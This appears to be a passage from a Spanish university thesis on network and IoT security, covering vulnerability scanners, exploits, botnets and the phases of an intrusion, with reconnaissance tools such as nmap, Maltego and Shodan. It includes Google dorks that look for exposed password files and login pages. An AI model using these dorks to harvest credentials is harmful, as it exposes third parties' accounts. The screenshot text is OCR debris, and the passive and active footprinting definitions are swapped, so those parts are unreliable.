plano y se pueden vulnerar facilmente. A deshabilitar todos los servicios no necesarios y
proteger los que si lo sean.

Herramientas externas con configuraciones no verificables implantadas en el
dispositivo: Interfaces web, APl en el 'back-end', accesos a la nube sin proteger
comprometen la seguridad, por lo que debemos filtrar y controlar el acceso, ademas de
encriptar las comunicaciones.

Firmware y componentes desactualizados o con bajos niveles de proteccion: en los
procesos de actualizacion. Descuidar mecanismos de validacion o de vuelta a versiones
previas, permitiendo que se trabaje con herramientas obsoletas o de terceros sin actualizar
0 modernizar. Es recomendable revisar el origen y la integridad de los componentes y el
firmware en todo el proceso, ademés del grado de actualizacion.

Mala gestion de la informacion personal: Se detecta, por un lado, un bajo nivel de
garantia de privacidad en el manejo de datos, que frecuentemente se realiza sin el control
0 los permisos necesarios. EI INCIBE nos plantea la posibilidad de establecer una politica
para la manipulacion de informacion del usuario que limite e informe del acceso.
Tendremos cuidado en no transferir datos personales.

Mala gestion de los dispositivos de produccion: realizar los procesos de actualizacion
y monitorizado necesarios de los elementos loT empleados.

Uso de configuraciones por defecto, que acostumbran a ser inseguras: realizar el
cambio a configuraciones de proteccion y establecer politicas estrictas de filtrado de las
conexiones asi como gestion de permisos.

Falta de bastionado fisico: sin control de acceso al dispositivo. Debemos impedir que
personas no autorizadas manipulen o accedan a la infraestructura.

Realizacién de pruebas de control de calidad para hardware y aplicaciones: realizar
pruebas, comprobaciones y test que se consideren necesarios y en régimen periddico a fin
de comprobar el correcto funcionamiento del sistema.

Falta de seguridad en el almacenamiento y transferencia de datos: se debe utilizar
algoritmos de cifrado sobre todo cuando se manejan datos sensibles.

Principales ataques referentes son:

Manipulacion de las mediciones: Este atague tiene como objetivo que el servidor, en
base a los datos observados, proporcione informacion falsa o ejecute érdenes erroneas
para provocar averias en las infraestructuras, por ejemplo, sobrecargar la red eléctrica,
apertura de puertas o grifos.

Ransomware o secuestro de dispositivos: Este tipo de ataque consiste en la infeccion
del dispositivo mediante un virus que bloquea su uso hasta que se realiza un pago,
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normalmente en criptomonedas, para liberarlo. Aunque el pago no garantiza la
recuperacién del control del dispositivo.

e Ataques de denegacion de servicio (DOS/DDOQS): Este tipo de ataque se aprovecha de
las vulnerabilidades que tiene el dispositivo que le permiten obtener su control. Este se
une a una red con miles de equipos infectados que atacan a objetivos predefinidos de
forma conjunta.

e Cualquier otro que se considere: y que forma parte de nuestra responsabilidad diaria.
Realizar tareas de prevencion.

6.12.- Clasificacion de los escaneres

Los escéaneres estan realizados para mejorar la seguridad destacar en esta seccidn sus principales
funciones a tener en cuenta, entre ellas nos encontramos con escaneres que permiten detectar una
vulnerabilidad y los que permiten detectar ataques (deteccion de intrusos). Aungue también es de
contar con la posibilidad de que un escéner de vulnerabilidades pueda detectar un ataque.

La principal ventaja de los escaneres de vulnerabilidades es que permiten la deteccion y solucién
de la vulnerabilidad antes que esta pueda ser explotada para realizar un ataque.

El sistema debe ser compatible con el cumplimiento del estandar CVE (Common Vulnerabilities
and Exposures), debe cumplir:

- Busqueda por CVE: el producto certificado debe permitir la busqueda de vulnerabilidades
en su base de datos utilizando el estandar CVE.

- Salida CVE: la informacion de la vulnerabilidad que ofrece el producto debe incluir el
identificador CVE.

- Identificacion: el producto debe proporcionar informacion suficiente de como identifica
la vulnerabilidad su base de datos con la version especifica de CVE y a su vez, intentar
que esta identificacion sea tan precisa como sea posible.

- Documentacion: la documentacion estandar del producto debe incluir una descripcion de
CVE, la compatibilidad CVE y los detalles de cémo sus clientes pueden utilizar la
funcionalidad relacionada con CVE de su producto o servicio.

Asi por ejemplo, respecto del software para el escaneo de vulnerabilidades, destacar respecto de
las principales empresas que ofrecen comercialmente este software, debe de destacar
principalmente en los siguientes pardmetros:
- Tasa de positivos que genera la deteccion.
- Lavariedad de los sistemas operativos que permite escanear.
- Los tipos de dispositivos que pueden escanear (servidores, encaminadores, impresién de
red, etc.).
- El nimero de aplicaciones que puede escanear (bases de datos, servidores de
aplicaciones, PHP, Java, .NET, etc.).
- Lafrecuencia de actualizacién de sus bases de datos y
- Lainformacion que pueden reportar.

Respecto de los escaneos vs. escaneres hay que partir de tener en cuenta la topologia de la red.
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Como clasificacion de escaneres, destacar en este apartado que dada la siguiente distincion y la
diversidad posible con la que es posible encontrarnos, al momento citar la clasificacion mas
importante en funcion de sus habilidades de escaneo:

e Escaneo interno y activo de un dispositivo.
o Escaneo externo y activo de un dispositivo.
o Escaneo externo y pasivo de un dispositivo.

Destacar en este punto que todos estos escaneres no son excluyentes respecto que la utilizacion
de un escéner no invalida a los demés ya que hay vulnerabilidades que un escaner puede detectar
y el otro no. También importe destacar estudiar bien su ubicacion en la red.

También destacar que disponemos de escaneres de:

De proposito general.
De puertos.

De servidores de red.
- De Aplicaciones web.

Algunos ejemplos de escaneres generales:

- Microsoft Baseline Security Analyzer (MBSA): para analizar la seguridad de pequefias
redes formadas por equipos Windows.

- Nessus: detector de vulnerabilidades, de pago.

- Open Vulnerability Assessment System (OpenVAS): gratis

- SolarWinds Network Configuration Manager.

wllid

N

AR

o OpenVAS Nmap

i

Otros:
Nexpose, Burp Suite, Acunetix, Nipper, Retina, QualysGuard, Saint, SQLmap.

Vistos como clasificados quedaria la siguiente clasificacion [19]:

e Escaner de vulnerabilidades de red: Nessus, Qualsys, Acunetix, OpenVas, Nexpose, etc.

e Escaner de vulnerabilidades de aplicaciones web: Nikto, Qualsys, OWASP ZAP, w3af, Burp
Suite, etc.

e Escaner de vulnerabilidades de bases de datos: Scuba, AppDetectivePro, McAfee
Vulnerability Manager for Databases, AudirPro Enterprise, Microsoft Baseline Security
Analyzer, etc.

Una vez visto las principales referencias bésicas respecto del mundo de las vulnerabilidades,
destaco en este punto unas referencias a los escaneres de vulnerabilidades profesionales. Nos
vamos a la referencia de un informe reporte de un estudio realizado por la multinacional de
investigacion de mercados Forrester en The Forrester Wave o la Ola en el que evalla el mercado
de la Gestion de vulnerabilidades de Riesgo a fecha del primer cuatrimestre de 2018. Este nos
reporta una gréafica de acuerdo a sus calificaciones respecto a una division en Lideres, Actores
Fuertes, Competidores y Desafiadores. Todos proveyendo avanzados algoritmos de
identificacion, identificacion de versiones y implementacion de parches.
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Fig.72: Vulnerability Risk Management Q1 2018 Forrester Wave.

Aungue no se considera en este proyecto establecer una evaluacion comparativa de las siguientes
empresas respecto de la calidad general de sus productos, si citar que y tras ver anteriormente
todos los conceptos y criterios del campo de la vulnerabilidad, citar identificacion de la calidad
de un producto de evaluacién y analisis de vulnerabilidad teniendo en cuenta los siguientes los
parametros principales.

1.- Gestion de los activos de la empresa.

2.- Calidad de la enumeracion de vulnerabilidades, uso de escaneo activo/pasivo,
autenticado/no autenticado y si tiene agente de sistema.

3.- Rapidez y calidad de las actualizaciones de la base de datos de vulnerabilidades y/o
amenazas usada.

4.- Soporte para la evaluacion de servicios en la nube y contenedores.

5.- Compatibilidad con diferentes sistemas operativos e integracion con terceros.
6.- Algoritmo de priorizacién de amenazas.

7.- Evaluacion de conformidad respecto a estandares y normativas.

8.- Calidad de los informes generados.

9.- Usabilidad ofrecida por la solucion.

10.- Soporte proporcionado por el vendedor.
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A continuacion, un detalle referente de cada seccién-division.

Lideres, como Rapid7, empresa con sede en Boston fundada en el 2000 que provee soluciones
analiticas de operaciones de seguridad e informacion. Tiene como software principal entre otros,
InsightVM para la evaluacién y gestion de vulnerabilidades completa.

VULNERABILITIES BY RISK SCORE VULNERABILITIES BY CVSS SCORE TOP ASSET OWNERS VIOLATING COMPANY POLICY
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Disabie insacure TLS. 1 ; a2k v Disible insecurs TLS/SSL Piotocol

Fig.73: InsightVM panel de priorizacion general.
Caracteristicas destacables:

e Evaluacion de vulnerabilidades de contenedores, nube y maquina virtual.

e Plataforma altamente integrada, con capacidades de gestionar casi todos los aspectos de la
seguridad de la empresa.

e Cuenta con extensas bases de datos de vulnerabilidades y un eficiente sistema de puntuacion
propio (referido respecto al calificativo establecido por CVE).

e Interfaz muy usable e intuitiva.

Areas de mejora:

o Despliegue inicial separado en muchos paquetes de precios en funcion del tamafio de la red.
o No se centra en la calidad de los informes generados.

Otros lideres son empresas como:

- BeyondTrust: con sede en Phoenix, Arizona. El producto estrella PowerBroker PAM
Platform, solucion orientada al control de privilegios y actividad de usuarios. Escaner
como Retina Web Security Scanning, programa especializado en amenazas para sitios y
aplicaciones web. También para moviles como Retina CS for mobile.

- NopSec: con sede en Nueva York con su producto de gestion de riesgos Unified VRM.

- Qualsys: con sede en Foster City, California. El mas especializado en soluciones Cloud
con Qualsys Cloud Platform con fuentes propias como Cloud Agents, Virtual Scanners,
Scanner Appliances y Internet Scanners.
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Fig.74: Qualsys VM ventana de Dashboard.

Ejemplo de Actores fuertes:

Tenable Network Security: partié con Nessus actualmente se vende para empresas bajo el nombre
de Nessus Professional y también productos para sistemas industriales como Industrial Security.
Comentar la disponibilidad de un subprograma como Web Application que permite identificar
con certeza problemas de seguridad en aplicaciones web, permitiendo obtener informacion
detallada que la parte del escaner no ve.

También dispone de aplicaciones para Cloud como Container Security que permite supervisar el
desarrollo de contenedores en busca de vulnerabilidades.

Caracteristicas destacables:

e Soporte para la seguridad de contenedores.

e Uso de Nessus como escéaner de vulnerabilidades, herramienta lider en el sector.

e Modelo de licencia por activo en vez de por IP, pudiendo tener una licencia para un activo
con diversas direcciones IP. Entendiendo por activo los dispositivos y por transitorios como
portatiles y teléfonos moviles.

e Garantia de un tiempo minimo de servicio util.

Areas de mejora:

e Priorizacion de vulnerabilidades y generacion de informes no disponible actualmente
(Lumin).
¢ Informes demasiado extensos y poco Utiles.

Otros de Activos fuertes como:
- Skybox Security: producto base, Skybox Threat-Centered Vulnerability Control.
- Digital Defense: producto base, Frontline VVulnerability Manager.
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Ejemplo de Competidores:

- Kenna Security, con sede en San Francisco, California, con su programa bajo el mismo
nombre Kenna Security.

- Tripwire: con sede en Portland, entre Washington y Oreg6n, con Tripwire Enterprise
cubriendo muchos angulos de seguridad.
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Fig.75: Componentes de la solucion completa Tripwire.

Ejemplo de Desafiadores:
- Beyond Security: empresa israeli, con el producto beSECURE, dividido en tres escalas,
be SECUREL, 1y 111, en funcién del tamafio de la red en el que controla hasta 1.000.000
de IPs.

6.13.- Exploits

Antes de definir el concepto de Exploit, se revisa primero unos conceptos previos de este referente
asi como ver el concepto de Bug y Client Side. Un punto referente de partida es la indicacion del
caso concreto de que la realizacion del software esta realizada por personas, es susceptible de
contener errores en su disefio o desarrollo. A partir de aqui este programa se vuelve directamente
susceptible de ser capturado por un hacker y ser punto de ataque.

6.13.1.- Bugs

Un bug es un error, un defecto o fallo en un programa o sistema informético que hace que se
produzca un resultado incorrecto o inesperado o que se comporte de forma no prevista. Se conoce
como bugs los errores de programacion que se detectan en un software.

6.13.2.- Client Side

Los ataques Client Side buscan aprovecharse de vulnerabilidades que tipicamente se encuentran
en las aplicaciones cliente, las cuales estan instaladas en gran parte de las estaciones de trabajo de
las organizaciones. Algunos ejemplos de este software son las aplicaciones de ofimatica, como
Microsoft Office u Open Office, lectores de PDF, como Adobe Acrobat Reader, navegadores de
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Internet, como Internet Explorer, Firefox, Chrome o Safari, e incluso reproductores multimedia,
como Windows Media Player, Winamp o iTunes.

En estos casos, el exploit esta dentro de un archivo con un formato soportado por alguna de estas
y que llega a la maquina objetivo por medios como email o pendrive. Este tipo de ataque requiere
de la intervencion del usuario puesto que se necesita que el usuario abra el archivo, clique algun
enlace o realice alguna accion en concreto.

Los ataques contra las aplicaciones cliente también pueden requerir algin tipo de interaccion con
el usuario y, por lo tanto, pueden ser utilizados en combinacion con el método de ingenieria social.

6.13.3.- Definicion de Expliot

Un exploit es el cédigo que permite a un atacante/testador aprovechar una vulnerabilidad del
sistema y comprometer su seguridad, o causar un comportamiento no deseado o imprevisto del
sistema. Se trata de un programa que consigue provocar el error aprovechando la vulnerabilidad
de otro programa. Una vez ha provocado el error, lo aprovecha para inyectar un c6digo o un
payload para que sea ejecutado y asi obtener el control del sistema atacado, o realizar algun otro
tipo de ataque con otras finalidades.

Payload es el cddigo que se ejecuta en el destino atacado al ejecutarse un exploit. Es decir, el
exploit provoca el error del sistema aprovechando una vulnerabilidad e inyecta un payload con el
codigo que se quiere que se ejecute en la maquina atacada. Normalmente, se trata de una secuencia
de instrucciones en lenguaje ensamblador con el objetivo de ejecutarse en el sistema de destino
para crear acciones, como por ejemplo, crear un usuario en el sistema remoto, ejecutar alguna
linea de pedidos y enlazarlo a un puerto local, etc. Se tiene que tener en cuenta que un payload
puede ser utilizado por varios exploits y gue un mismo exploit puede utilizar varios payloads.

6.13.4.- Tipos de exploits

6.13.4.1.- Zero-Day

Una vulnerabilidad de dia-cero se refiere a un agujero o vulnerabilidad en el software que es
desconocido para el fabricante o desarrollador y por lo tanto carece de parche de reparo.

Los exploits de dia-cero son los mas peligrosos para la industria del software. Los mejores para
realizar ataques.

Existe el llamado Full Disclosure (Revelacion completa) o exploits de dia 1 respecto de la practica
de publicar la informacién de las vulnerabilidades en el mismo momento que se descubre
accesible a todo el mundo. A diferencia del Responsible Disclosure, en el que en este caso, el
fabricante descubre o es informado del error pero no se hace publico. Este es el ejemplo mas
comun de fabricantes como Micrososft, donde se aplica el principio de no publicar nada que pueda
afectar a la seguridad de sus clientes.

6.14.- Sistemas de explotacién

6.14.1.- Explotacién manual

Crear un programa para que se convierta en un exploit requiere conocer muchos detalles de los
sistemas objeto de destino; por ejemplo, no es o mismo un sistema operativo como Windows con
0 sin un service pack instalado y a la vez contemplar las diferentes versiones de service pack, asi
como tener en cuenta las diversas opciones de idioma. Al mismo tiempo se tienen que conocer
otros temas asociados, como protocolos, arquitectura del sistema objetivo, lenguaje de bajo nivel,
scripting, etc.
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6.14.2.- Fuzzing

Fuzzing es una técnica de pruebas de caja negra para testear el software u otros aspectos del
sistema. Bé&sicamente consiste en la investigacion de errores o vulnerabilidades de
implementacion mediante la inyeccion de datos mal formados, inesperadas o al azar, de forma
automatizada y aleatoria.

6.14.3.- Frameworks de explotacion

Existen varios frameworks de explotacién, algunos de estos frameworks son, por ejemplo,
Metasploit, Core Impact, Immunity Canvas, BeEF, Kali Linux, etc.

Enlaces recomendados

Metasploit: http://www.metasploit.com/

Core Impact: http://www.coresecurity.com/

Immunity Canvas: https://www.immunitysec.com/products-canvas.shtml

BeEF The browser exploitation framework project: http://beefproject.com/

Kali Linux: http://mwww.kali.org/

Se trata de herramientas de prueba de penetracion para testear software desde el punto de vista de
la seguridad y permiten ejecutar exploits contra un objetivo determinado.

6.15.- Botnets

Definiendo una BotNet como Robot Network, red de equipos robot o red de zombies controladas
por los llamados operadores, también Ilamados botmasters que se dedican crear un determinado
control sobre un conjunto de equipos informéaticos conectados a Internet llegando a controlar sus
recursos como memoria, ejecucién de procesos, sistemas de ficheros y conexiones de red.
Importantes es que, estos operadores, una vez infectados los equipos y que pasan a formar parte
de la botnet en ocasiones son alquilados a sus clientes, clientes de la botnet. Estos clientes podrén
realizar actividades como campafias de spam, denegaciones de servicio distribuidas,
almacenamiento de contenido multimedia ilicito, etc. De hecho, el ambito principal de ejecucion
de una botnet es el control o robo de recursos electronicos y la posibilidad de realizar
transacciones financieras ilicitas a fin de obtener un beneficio sobre todo econémico.

//,n““”' t::}a“m_ Maquina

[ Hhx““xx objetivo
! _
e — -

Maquina
origen

Fig.76: Esquema singular de organizacién de una Botnet.
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Fig.77: Esquema completo de una organizacion de una Botnet.

Entre las acciones sobre los recursos electronicos destacan el control de recursos audiovisuales
como musica, peliculas y/o videos, libros y llegan hasta la realizacion de juegos y casinos ilicitos.
En general, realizar servicios fraudulentos.

Una gran ventaja en la actualidad respecto a este tipo de explotacidn es la proliferacion de redes
de servicio cada dia mé&s répidas. A tener en cuenta que estos robots, zombies o simplemente
agentes de la botnet son controlados a distancia, de forma distribuida por uno o varios operadores.

Una botnet puede ser altamente peligrosa respecto de ejecutar ataques como Denegacion de
Servicio Distribuido en el que en este caso, destacarian las siguientes caracteristicas:

e Muy eficaz: deja rapidamente a la maquina fuera de combate.

o Dificil de parar: si los zombis estan bien elegidos estardn en diferentes subredes. Sera
complicado cortar el flujo.

¢ No tiene demasiada complejidad: es suficiente enviar algun tipo de paquetes que colapsen el
servidor. No se necesita tener acceso al objetivo.

6.16.- Las catorce vulnerabilidades méas importantes:

Aunque como se ha comentado en la introduccion la vulnerabilidad primera y mas importante
comienza y termina en la persona, a continuacion se reporta un referente respecto del sistema
informético y de red segln [20]. Destacar que, actualmente y a la vista de consideracién del punto
once, se consideran las redes maéviles y wifi como red externa.
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Fig.78: Esquema de situacion de las 14 vulnerabilidades méas importantes [20].

1.- Control de acceso al router inadecuado: ACL mal configuradas en el router pueden permitir la
fuga de informacion a través de paquetes ICMP, IP o NetBIOS y facilitar el acceso no autorizado
a servicios dentro de la zona desmilitarizada.

2.- Los puntos de acceso remoto no seguros y no monitorizados proporcionan una de las maneras
mas sencillas de acceder a una red corporativa. Los usuarios remotos se suelen conectar a Internet
con pocas protecciones, exponiendo al ataque informacion sensible.

3.- La informacion disponible puede proporcionar informacién sobre el sistema operativo,
versiones de las aplicaciones, usuarios, grupos, recursos compartidos, informacion DNS
(transferencias de zonas) y servicios abiertos como SNMP, finger, SMTP, telnet, rpcinfo,
NetBIOS, etc.

4.- Los servidores que ejecutan servicios innecesarios (RPC, FTP, DNS, SMTP) pueden ser
facilmente atacados.

5.- La utilizacion de palabras clave débiles, faciles de adivinar o la reutilizacion de palabras clave
en las estaciones de trabajo pueden comprometer a los servidores.

6.- Otra vulnerabilidad muy comun son las cuentas de invitado, de prueba o de usuario con
privilegios excesivos.

7.- Servidores de Internet en la zona desmilitarizada mal configurados, sobre todo el cédigo CGI
0 ASP, o servidores FTP an6nimo con directorios accesibles en estructura para todo el mundo.

8.- Unas listas de acceso (ACL) mal configuradas en el firewall o en el router pueden permitir el
acceso desde el exterior, bien directamente, o bien una vez que la zona desmilitarizada ha sido
comprometida.

9.- Software obsoleto, al que no se le han instalado parches recomendados por el fabricante,
vulnerable, o con las configuraciones por defecto, especialmente los servidores web.
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10.- Controles de acceso a los ficheros o a los directorios mal configuraros (Ej.: Recursos
compartidos en Windows, recursos exportados con NFS).

11.- Las relaciones de confianza excesivas en dominios Windows o entradas en .rhosts y
host.equiv en Linux pueden proporcionar a los atacantes acceso no autorizado a sistemas sensibles

(pilfering).

12.- Los servicios son control de acceso de usuarios, permiten a los atacantes la captura de
pulsaciones de teclado.

13.- La gestion inadecuada de historicos, la falta de monitorizacién inadecuada o la falta de
servicios de deteccion de intrusiones tanto a nivel de red como en los ordenadores conectados a
ella.

14.- La falta de politicas de seguridad aceptadas por todos y bien definidas y publicadas, asi como
de los procedimientos, normas y guias de actuacion relacionadas.

6.17.- Anatomia de un ataque

A continuacion veremos el principal esquema de actuacion que sigue al proceso de realizar una
intrusion independientemente de la situacion final que pueda ocurrir por propia aleatoriedad de
accion, como por ejemplo una intrusion con caracter persistente. Se describen las principales
herramientas que a conocimiento del lector, indicar que forman parte de lo que en la popularidad
del mundo de la seguridad se llaman “navajas suizas" no solo por su potencia sino por su
capacidad y precision.

En las siguientes dos figuras se contrasta de forma general el esquema de fases que realiza un
atacante y contrastado con respecto a las fases que realizan en una auditoria. Ambos esquemas
deben ser lo més parecidos posibles.

Recopilacion de
‘ informacién ‘

Garantizando acceso:
* Instalacion de rootkits
* Sniffers
* Keyloggers

Borrado de
evidencias:

* Eliminacién de registros

~ ez ¢

Fig.79: Esquema de fases de intrusion por parte de un atacante.
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Fig.80: Esquema de fases seguidos en una auditoria.

Otros esquemas mas a modo "modus operandi* realizado por una atacante segun sus referencias
si bien preferencias atiende a esquemas como el que sigue:

. Andlisis de Borrado de
Busqueda vulnerabilidades b
A J r g
Rastreo: Acciones:
Recoleccion de Explotacion Puertas
informacién /Pilfering traseras
A J A 4
. Obtencién Denegacion
Enumeracion [+ s . —> e
de privilegios de servicio

Fig.81: Esquema general de atacante, por referencia "modus operandi”.

A continuacién introducir dos de las identidades de funciones mas conocidas en el proceso de
planificacidn, sobre todo en las primeras etapas de la intrusion al sistema:

- Footprinting: forma parte de la primera etapa del reconocimiento por proceso de
busqueda, obtencién de informacion publica a cerca del objetivo. Mas destacado en
la realizacién a empresas grandes.

o0 Esencial para elaborar un ataque sofisticado posterior.
o0 No intruviso, la entidad no debe detectarlo.
0 Recopilar mayor cantidad de informacion publica.
Tipos:
Pasivos: se realizan pruebas contra los sistemas.
Activos: en ningln momento nos conectamos con el sistema.

- Por ejemplo: consultas por whois.
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- Fingerprinting: obtencion de informacion acerca del S.O., de la version del servidor,
reconocimiento activo.

Deteccion de sistema
operativo por 0OS
Fingerprinting activo

Fig.82: Muestra toma de referencia de informacion por Fingerprinting
Busqueda o recopilacion de informacién:

Objetivo: recogida de informacion, ingenieria social, seleccion de rangos de direcciones
y espacios de nombres.

Técnicas: busqueda por informacién publica. Por ejemplo informacion por Facebook o
LinkedIn.

Herramientas: whois, whoami /all, nmap, traceroute, nslookup. Otras como shodan,
robtex, TheHarvester, Foca de ElevenPaths (blsqueda por metadatos donde figuran
nameros de versién, nombres de usuarios), Google Hacking a través de Dorks
(especificadores de busqueda).

Fig.83: Ejemplo de vista de informacion de usuario con el comando whoami /all.

&« C | & hiy wew.google.es

GO g!e mtitie"index of “Index of I~ password txt 5
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intitle:"please login" "your password is ™"

Please login: ... If this is your first time logging in, then your password is the last
name of the person insured on your policy in ALL CAPITAL LETTERS. ..

intext:email filetype:xls site:.ar
Muestras de Google Dorks.
Se indica en este momento algunas referencias asociadas a Google Hacking:

Google Hacking (46 ejemplos): como consigue
un hacker contraseiias usando sélo Google.
Google puede ser tu peor enemigo.

De hecho, en https://antoniogonzalezm.es/google-hacking-46-ejemplos-hacker-contrasenas-
usando-google-enemigo-peor/ pueden encontrarse multitud de técnicas, por ejemplo otro ejemplo
y considerado como importante: bdsqueda de informacion o directorios sensibles de un servidor
con el siguiente Google Dork: "pone ***"address*""e-mail" intitle:"curriculum vitae" o
informacién de apoyo al acceso como veremos a continuacion con el siguiente Dork: "Microsoft
® Windows * ™ Version * Drwtsn32 Copyright ©" ext.log donde se puede obtener informacién
de que antivirus tiene, si tiene firewall...

Contramedidas:

- Control del contenido de la informacion publica.

- Precaucion con la informacion de registro.

- Seguridad en DNS (ej.: no permitir transferencias de zona).

- Instalacion de sistemas de deteccion de intrusiones (NIDS).

- Instalar bloqueadores de publicidad en el navegador asi como evitar la presencia de
teclados virtuales.

il Bttpe e nicestsg yfpsblicDat allalie o B P | Q) dominios
@ Comenzar a usar Firefox () 403 Forbidden & TAC wEea. & hetpeiiea isdefe. B e i sers lavier... D Files /0y Users/lmiesf...

Espafed | Caua | Eusmera | Gaige | Engise

Siguenos en:

&l nemn

el e anes ™ )
Efﬁ?m “s™ red.es .
;

/ Informacion de Dominio

@ voluer

Los datos de contacto de este dominio estdn oculos. Si desea comunicarse con el Titular v ¢l PCA pulse ag

FERSONA DE CONTACTO ADMINISTRATIVD

rdentificador 1238254 ESNIC-FS
PERSONA DE CONTACTO TECNICO

tdemtificador 1256259- ESNIC-F3

SEAVIDORES DNE

Hombre Servidor 13
s 4

Fig.84: Ejemplo de informacion del dominio Google.es en www.dominios.es

Siempre serd conveniente tener mas de una fuente de informacion, pues no siempre la misma
pagina nos facilitara la informacion que se busca. Otras paginas de busqueda similar es:
http://www.allwhois.es y http://www.ripe.net.
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Maltego

De la compafia Paterva, es un_servicio que tiene el potencial de encontrar informacion sobre
personas y empresas en Internet, permitiendo cruzar datos para obtener perfiles en redes sociales,
servidores de correo, etc.

A partir de un dominio encontrar los perfiles de RR.SS de sus trabajadores o incluso, teléfonos,
imagenes o direcciones de correo electrénico de un individuo en particular. Todo esto es gracias
a consultas que se realizan a diferentes fuentes de informacion o datos.

Ll Investigate EEGET TS arganize Machinas Collabaratian

[ l - N e p— —— " 1 1 Salact Al A add Similar Siblings & Select Children 4 Add Childran
T Cut % imvert Selection g+ Add Path M Select Heighbors 17 Add Neighbor:

aste Clea Quick Entity ;

&l @ Delete Find Selection 32 Select None  J, Select Parents o Bdd Parants W Select Bookm
| Palette o x -0 Srart Page = | B Mew Graph (1) =

o ~ I E & .
RN Main View | Bubble view |  Entity List = IR AT

|

E= Infrastructure
B Locatlons
E- Penctration T..

% Personal i Eiemplo de busqueda
4 Mias

sahar X

Resultados e RS iy
Document - ol ,-"', W %, 5
- " i :
/ |
Email Addrass il y h
- i NN
Image LA 1 3 )
/ ¥ \
= * o y ¥ \ T Y 3 i
n / F A I VY %
[ Parse : : - 7S I Iy ,-: \ \ » \ L
= ' ‘m i»/ | i \\ N\ im ‘m
5 Phene Mumber e inies: roy g o e bl foder == | S R Mt il ey . il v
L] P ¥ £ wff 'I- i ", %
Phrase 1 V. f R " [ n Y b L]
= Social Netwark worm Wesgge o P /b e ot e N, kg gesgle vort N, wiemes.os -
F ¥ ¥ i N N , A
= / B -2 S 2
I Wy f Ly uls od
barahin cor@A0ZAHED  peitabie comfhTRcin d  pamabin conf T3l pamabin cgefaiio baax W43 0T MDD SAE LT1 G0 EIEE
¥ ¥ ¥ v ] 4
Shampea ol 2 | e T Waybohne Gonmler  jbermani@bemedispannen com  infolrabests com
¥ B
ok 51 Lk coem [ T

Fig.85: Busqueda de informacion por programa Maltego. Ejemplo de informacion de una persona.

e Rastreo:

Obijetivo: identificacion de equipos y servicios, seleccion de los puntos de entrada mas
prometedores.

En este momento destacar y en adelante, identificar de forma conjunta la importante
herramienta nmap y Zenmap, siendo nmap la version Shell y Zenmap la version interfaz
gréafica. A continuacion se muestran varios ejemplos de interfaz gréfica, que permite entre
otras cosas:

- Permite realizar varios escaneos simultaneos.

- Viene con perfiles predeterminados de escaneos.

- Capaz de realizar un analisis de la topologia de la red escaneada.
- Muestra los detalles de los hosts con servicios y aplicaciones.

94



UNIVERSITAT _ TELECOM ESCUELA
POLITECNICA TECNICA VLC SUPERIOR

< DE INGENIERIA DE
DE VALENCIA TELECOMUNICACION

Scan Tools Pﬁle Help

Command: [nmap 192.168.0.102 ]

Hosts | Services | [Nmap Output | ports / Hosts | Topology | Host Details | Scans |
0S  Host [nmap 192.165.0.102 c| = Detals

e LPRULP PORT | STATE SERVICE

22/tcp open ssh
23/tcp open telnet
88/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in ©.20
seconds

Fig.86: Zenmap, escaneo de puertos con perfil Regular scan.

] Zenmap BIEE
Scan Tools ck' Help

Target: |192.168.0.1—255 w | Profile: IPingscan - Scanl Cance[l

Command: |nmap -SP -PE -PA21,23,80,3389 192.168.0.1-255

Services | NmapOutpl.rthortsfHostsl'l'bpologylHostDetallslScansl

e ﬂ ‘nmap -sP -PE -PA21,23,80,3389 192.168.0.1-2... Ivl Details
7 192.168.0.168 .
Starting Nmap 5.80 ( http://nmap.org ) at
#  192.168.0.222 2012-05-09 17:33 CEST
W 192.168.0.223 . Host 192.168.8.18@ is up (@.8015s latency).
: MAC Address: 88:14:BF:15:FE:89 (Cisco-Linksys)
i  192168.0.123 | | post 192.168.0.103 is up.
W 192.168.0.122 Nmap done: 255 IP addresses (2 hosts up) scanned in
4.78 seconds
W 192.168.0.121
® 192.168.0.120
W 192.168.0.127
#  192.168.0.126 |v|

Fig.87: Zenmap, escaneo de host.
] Zenmap uu@

Alvo: [192.168.1.0,24 [ v eeril: | [v] [scan] [cance

Comando: [nmap -5 192.168.1.0/24 |

| Hosts | services | [saidado Nmap |Ports / Hosts | Topology | Detalhes da Maquina | Scans

0S  Host ‘ " Hosts viawer‘ Q Hsheye" Cuntm\s‘ |EI; Save Graphi(‘
A  Allspark.localdoma S
< 192.168.1.101
< 192.168.1.121
< 192.168.1.150 . 192.168.1.90
W router (192.168.1.2 4
A 192.168.1.90 r K

AllSpark.localdomai 192 153 1.101 ’Omuter

@FRis2168.1.121 (:')5192_153_1_150

: Fisheye on ring -z‘ [ J==———== with interest factor

mz‘ and spread factor [0,50 3|

Filter Hosts

Fig.88: Zenmap, resultados de topologia [21].
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Otras herramientas como:
Shodan:

Shodan es como el chico que camina por la ciudad y toca en cada puerta que ve. Pero en vez de
puertas, Shodan “toca” en cada direccion IPv4, y en vez de hacerlo en una ciudad, lo hace en el
mundo entero [22].

Si le preguntas a ese chico sobre un tipo de puerta en particular o sobre puertas de alguna zona en
particular de la ciudad, seguramente sabra algo y te dara informacion: cuantas puertas hay, quién
las abre y qué dicen. Shodan te da la misma informacion sobre productos del 10T: como se llaman,
de qué tipo son, y si hay alguna interfaz web que pueda utilizar. No es completamente gratis,
Shodan requiere una suscripcion que es relativamente barata.

a Explore Enterprise Access Contact Us

401 Unauthorized

Irnatal Matel 51

= span
Oetats

Rrazil 3 58404
United States 138,900
Chira 181N
Russian Fegeratan AL AL
s i 401 Unauthorized

Biliippina Long Civiancs Telephena
wrTe T
sy [T
Telesst a8
HTTP (8088) 2418
HTTRS M

A Prgpie
L e Broadband Router™

o Vetan s 401 Unauthorized

4 internat a0

China Teiscom hufin ran Link Byt
Dbl Vil Telocom s = et Can
Rassshecam W Oetain

Fig.89: P4gina de muestra de portal web Shodan.

No hay problema en tocar puertas a menos que descubras que hay un montén de puertas sin seguro
y nadie que podemos evitar que entren los delincuentes. En el mundo del Internet de las Cosas,
estas puertas son representadas por routers sin proteccion, camaras IP y otras cosas que utilizan
inicios de sesion por defecto y contrasefias. Una vez que se logra entrar al interfaz web y descubres
el usuario y contrasefia, puedes ganar el acceso completo a todo. No tiene ninguna ciencia, ya que
la informacion sobre los inicios de sesion y contrasefias para diferentes dispositivos conectados,
pueden ser encontrados en los sitios web de sus fabricantes.

Robtex:

Una de las mas importantes "navajas suizas" de los administradores de red, ya que da mucha
informacidn entre las direcciones IP y los nombres de dominio.

DNS Records

Base Record | Name 1P Reverse Route AS
